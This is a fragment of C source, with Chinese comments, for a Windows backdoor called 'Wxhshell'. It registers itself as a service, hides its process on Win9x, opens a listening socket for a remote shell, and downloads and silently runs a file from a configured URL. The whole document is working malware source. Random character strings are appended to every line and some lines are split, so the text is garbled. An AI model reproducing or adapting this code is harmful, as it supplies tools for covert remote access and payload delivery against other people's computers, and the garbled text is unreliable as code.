ULONG UniqueProcessId; ~RE`@/wQ]
ULONG InheritedFromUniqueProcessId; Y.Ew;\6U
} PROCESS_BASIC_INFORMATION; 8%U)EU
d}415 XA
PROCNTQSIP NtQueryInformationProcess; 1-gX=8]]
C{S6Ri
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ln!KL'T]
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }mJ)gK5b 6
X}bgRzj
HANDLE hProcess; DFjkp;`1
PROCESS_BASIC_INFORMATION pbi; tbk9N( R
8@Km@o]?
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J5rR?[i{
if(NULL == hInst ) return 0; WCWBvw4&"{
_H3cqD
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N4mQN90t
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aH$*Ue@Q
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DwTZ<H4
p-/x Md
if (!NtQueryInformationProcess) return 0; pV-.r-P
qC|re!K
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aA
yFu_
if(!hProcess) return 0; d ly 0874
&k{@:z
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AU$5"kBE
-s!PO;qm
CloseHandle(hProcess); cE]kI,Fw,M
YGn:_9
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6ensNr~ea
if(hProcess==NULL) return 0; `") I[h
6<~y!\4;F
HMODULE hMod; ,zyrBO0 Eq
char procName[255]; _bz,G"w+:
unsigned long cbNeeded; bo"I:)n;
Tp6ysjao
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); },L[bDOV07
f!Ie
CloseHandle(hProcess); r#~6FpFVK^
`4p9K
if(strstr(procName,"services")) return 1; // 以服务启动 BzUx@,
u1kbWbHu(
return 0; // 注册表启动 hP#&]W3:
} xO@OkCue
p.IfJ|
// 主模块 e)bqE^JP
int StartWxhshell(LPSTR lpCmdLine) 6%xl}z]o
{ C]XDDr
SOCKET wsl; ~gDtj&F
BOOL val=TRUE; FxT
[4
int port=0; ,?f(~<Aj
struct sockaddr_in door; sR0nY8@F
WL~`L!_. A
if(wscfg.ws_autoins) Install(); K=>/(sWiq
U5PCj ]-Xt
port=atoi(lpCmdLine); 8UZEC-K
JZ7-?
o
if(port<=0) port=wscfg.ws_port; nC Z
Fy@D&j
WSADATA data; d$Xvax,C
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -
|'wDf?H
1f:k:Y9i
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; vT~ a}
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =w5w=qB
door.sin_family = AF_INET; rYqvG
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 33C#iR1(WJ
door.sin_port = htons(port); hv)($;
;Os3
!
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <Jk|Bmw;
closesocket(wsl); i\'N1S<D
return 1; #>V;ZV5"
} _8>"&1n
334*nQ
if(listen(wsl,2) == INVALID_SOCKET) { wDG4rN9x
closesocket(wsl); KKzvoc?Bt
return 1; 'huLv(Uu
} RPWYm
Wxhshell(wsl); / u{r5`4
WSACleanup(); M>#{~zr
>j?uI6Uw
return 0; G#C)]4[n
zYNJF>^<
} U|QDV16f
|g{AD`
// 以NT服务方式启动 57}q'84
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :[&X*bw[
{ /_|1,x-Kx
DWORD status = 0; ?~{xL"
DWORD specificError = 0xfffffff; ^b#E%Rd
]=3O,\
serviceStatus.dwServiceType = SERVICE_WIN32; J @fE")
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 4SrK]+|
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k|D!0^HE[
serviceStatus.dwWin32ExitCode = 0; VGq]id{*$
serviceStatus.dwServiceSpecificExitCode = 0; %Z?
o]
serviceStatus.dwCheckPoint = 0; 2P}RZvUd
serviceStatus.dwWaitHint = 0; #wyS?FP-
[`lAc V<
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;rKYWj>IR
if (hServiceStatusHandle==0) return; AQ5v`xE4
:KLD~k7yA(
status = GetLastError(); IY&a!
if (status!=NO_ERROR) ;z>YwRV
{
"gz;Q
serviceStatus.dwCurrentState = SERVICE_STOPPED; ;~J~g#
serviceStatus.dwCheckPoint = 0; _<7FR:oBZ
serviceStatus.dwWaitHint = 0; #u$z-M !
serviceStatus.dwWin32ExitCode = status; `vSsgG
serviceStatus.dwServiceSpecificExitCode = specificError; ){:aGGtko
SetServiceStatus(hServiceStatusHandle, &serviceStatus); v(O.GhJ@
return; K36B9<F
} g]#Wve
_;{-w%Vf
serviceStatus.dwCurrentState = SERVICE_RUNNING; qg/5m;U
serviceStatus.dwCheckPoint = 0; h(-&.Sm")H
serviceStatus.dwWaitHint = 0; 7fqYSMHR
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rWXW}Yg
} |9I;`{@
O)R0,OPb
// 处理NT服务事件,比如:启动、停止 F?kVW[h?q
VOID WINAPI NTServiceHandler(DWORD fdwControl) @El<"\
{ *@nUas2"
switch(fdwControl) ?s]`G'=>V`
{ `,Gk1~Wv
case SERVICE_CONTROL_STOP: [
UJj*n
serviceStatus.dwWin32ExitCode = 0; )QD}R36Ic
serviceStatus.dwCurrentState = SERVICE_STOPPED; `9l\~t(M
serviceStatus.dwCheckPoint = 0; $ Zr,-
serviceStatus.dwWaitHint = 0; ise}> A!t
{ @UJmbD{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); z
sPuLn9G
} )|x5#b-lz
return;
lijy?:__
case SERVICE_CONTROL_PAUSE: cG:`Zj~4
serviceStatus.dwCurrentState = SERVICE_PAUSED; d
]
;pG(
break; $NHWg(/R@
case SERVICE_CONTROL_CONTINUE: pt#[.n#f
serviceStatus.dwCurrentState = SERVICE_RUNNING; |5Pbc&mH8A
break; ?xZmm%JF
case SERVICE_CONTROL_INTERROGATE: }q W aE
break; k;5}@3iQ
}; r.;iO0[/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rjl __90
} rR~X>+K
`WS_*fJ5
// 标准应用程序主函数 8)8oR&(f
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sIsu >eL
{ p%1m&/`F
m9@n
// 获取操作系统版本 17oxD
OsIsNt=GetOsVer(); ($>0&w
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9lCKz
!E
rgKn=8+a
// 从命令行安装 RzQS@^u*F0
if(strpbrk(lpCmdLine,"iI")) Install(); QO k"UP
zP}v2
// 下载执行文件 )6^xIh
if(wscfg.ws_downexe) { rU@?v+i
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
3 H2;mqq
WinExec(wscfg.ws_filenam,SW_HIDE); I >Q,]S1h
} _ZBR<{
.~
lt+M9
if(!OsIsNt) { qI*1+R}
// 如果时win9x,隐藏进程并且设置为注册表启动 a HL '(<
HideProc(); -<]_:Kf{;&
StartWxhshell(lpCmdLine); 0\@|M @X=
} C/Bx_j((
else ?
M_SNv
if(StartFromService()) n9!3h ?,g
// 以服务方式启动 ^\jX5)2{
StartServiceCtrlDispatcher(DispatchTable); W%K8HAP "
else `|Z@UPHzG
// 普通方式启动 '/g+;^_cB
StartWxhshell(lpCmdLine); S=SncMO nE
Cpv%s 1M
return 0; bGc|SF<V
}